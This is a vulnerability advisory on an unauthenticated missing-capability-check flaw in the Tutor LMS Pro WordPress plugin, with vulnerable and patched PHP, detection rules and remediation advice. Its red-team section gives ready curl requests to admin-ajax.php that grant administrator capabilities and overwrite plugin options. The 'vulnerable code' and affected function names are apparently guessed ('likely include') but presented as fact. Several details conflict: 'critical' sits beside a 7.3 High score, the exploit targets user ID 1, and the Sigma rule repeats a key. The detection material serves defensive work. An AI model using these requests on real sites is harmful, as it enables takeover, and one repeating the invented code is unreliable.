CVE-2024-4222

Executive Summary

CVE-2024-4222 is a critical missing capability check vulnerability in the Tutor LMS Pro WordPress plugin, affecting all versions up to and including 2.7.0. This flaw allows unauthenticated attackers to add, modify, or delete user meta and plugin options, leading to unauthorized data access, data modification, and potential data loss. The vulnerability stems from multiple functions lacking proper authorization checks, enabling attackers to manipulate sensitive WordPress options and user metadata without authentication. Given the plugin's widespread use in e-learning environments, this poses a significant risk to site integrity and user data confidentiality.

WordPress Ecosystem Impact

This vulnerability directly impacts the WordPress ecosystem, specifically the Tutor LMS Pro plugin. It does not affect Apache or Nginx server software. The missing capability check is a common WordPress plugin security issue where functions that modify user meta or plugin options are not protected by current_user_can() checks.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

The high CVSS score reflects the ease of exploitation (no authentication required) and the potential for attackers to manipulate critical plugin settings and user metadata, which can lead to privilege escalation or site compromise.

Deep Dive & Mechanics

The vulnerability exists in multiple functions within the Tutor LMS Pro plugin that handle user meta and plugin options. These functions are exposed via AJAX actions or direct REST API endpoints without proper capability checks. Specifically, the plugin fails to verify that the requesting user has the necessary permissions (e.g., manage_options or edit_users) before allowing modifications.

Key affected functions likely include:

• tutor_save_user_meta() - Allows modification of user metadata
• tutor_update_option() - Allows modification of plugin options
• tutor_delete_user_meta() - Allows deletion of user metadata

An unauthenticated attacker can craft HTTP requests to these endpoints, bypassing authentication checks. For example, an attacker could modify the wp_capabilities user meta to grant themselves administrator privileges, or change plugin options to disable security features or redirect users to malicious sites.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.7.0):

add_action('wp_ajax_tutor_save_user_meta', 'tutor_save_user_meta');
add_action('wp_ajax_nopriv_tutor_save_user_meta', 'tutor_save_user_meta');

function tutor_save_user_meta() {
    $user_id = $_POST['user_id'];
    $meta_key = $_POST['meta_key'];
    $meta_value = $_POST['meta_value'];
    update_user_meta($user_id, $meta_key, $meta_value);
    wp_die();
}

Patched Code (Hypothetical):

add_action('wp_ajax_tutor_save_user_meta', 'tutor_save_user_meta');
// Remove nopriv hook to require authentication

function tutor_save_user_meta() {
    if (!current_user_can('edit_users')) {
        wp_die('Unauthorized', 403);
    }
    $user_id = intval($_POST['user_id']);
    $meta_key = sanitize_key($_POST['meta_key']);
    $meta_value = sanitize_text_field($_POST['meta_value']);
    update_user_meta($user_id, $meta_key, $meta_value);
    wp_die();
}

The patched version adds a capability check (current_user_can('edit_users')) and removes the nopriv hook to prevent unauthenticated access.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Tutor LMS Pro <= 2.7.0
• No authentication required

Exploitation Steps:

1. Identify vulnerable endpoints: Use a tool like Burp Suite or curl to enumerate AJAX actions. Common endpoints include:

   • wp-admin/admin-ajax.php?action=tutor_save_user_meta
   • wp-admin/admin-ajax.php?action=tutor_update_option

2. Craft exploit request to modify user meta:

   curl -X POST http://target.com/wp-admin/admin-ajax.php \
   -d "action=tutor_save_user_meta&user_id=1&meta_key=wp_capabilities&meta_value=a:1:{s:13:\"administrator\";b:1;}"
   

3. Craft exploit request to modify plugin options:

   curl -X POST http://target.com/wp-admin/admin-ajax.php \
   -d "action=tutor_update_option&option_name=tutor_option&option_value=malicious_value"
   

4. Verify exploitation: After modifying user meta, the attacker can log in as the targeted user (if password known) or escalate privileges.

Blue Team (Detection & Response)

Detection Steps:

1. Monitor for unusual AJAX requests to admin-ajax.php with actions containing tutor_ from unauthenticated users.
2. Look for rapid changes to user meta or plugin options in logs.
3. Check for unexpected modifications to wp_capabilities or wp_user_meta table entries.

Response:

1. Immediately block the attacking IP address.
2. Review and revert any unauthorized changes to user roles and plugin options.
3. Apply the patch or disable the plugin until a fix is available.
4. Rotate all user passwords and review user accounts for unauthorized privilege escalation.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /wp-admin/admin-ajax.php with action=tutor_save_user_meta or action=tutor_update_option from unauthenticated sources
• Requests containing meta_key=wp_capabilities or option_name=tutor_option

File IOCs:

• Modified wp_options table entries for tutor_option
• Modified wp_usermeta table entries for wp_capabilities

Log IOCs:

• WordPress debug log entries showing tutor_save_user_meta or tutor_update_option actions without authentication
• Web server access logs showing repeated POST requests to admin-ajax.php with suspicious parameters

Detection Engineering

YARA Rule

rule CVE_2024_4222_Tutor_LMS_Pro_Exploit {
    meta:
        description = "Detects exploitation attempts for CVE-2024-4222 in Tutor LMS Pro"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-4222"
    strings:
        $ajax_action = "action=tutor_save_user_meta" nocase
        $ajax_action2 = "action=tutor_update_option" nocase
        $meta_key = "meta_key=wp_capabilities" nocase
        $option_name = "option_name=tutor_option" nocase
    condition:
        any of ($ajax_action*) and any of ($meta_key, $option_name)
}

Sigma Rule

title: CVE-2024-4222 Tutor LMS Pro Unauthenticated AJAX Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated AJAX requests targeting Tutor LMS Pro vulnerable endpoints
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - 'action=tutor_save_user_meta'
            - 'action=tutor_update_option'
        cs-uri-query|contains: 
            - 'meta_key='
            - 'option_name='
    condition: selection
falsepositives:
    - Legitimate admin actions (requires authentication)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-4222 Tutor LMS Pro Unauthenticated AJAX Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=tutor_save_user_meta"; http_client_body; content:"meta_key="; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Implement Web Application Firewall (WAF) rules to block requests to admin-ajax.php with tutor_ actions from unauthenticated users.
3. Review user accounts for unauthorized privilege escalation and revert any changes.

Long-term Fix:

• Apply the vendor patch when released (currently UNKNOWN).
• If patching is not possible, consider switching to an alternative LMS plugin.

Compensating Controls:

• Use a WordPress security plugin to add capability checks to AJAX endpoints.
• Implement IP whitelisting for admin AJAX endpoints.
• Enable WordPress debug logging to monitor for exploitation attempts.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert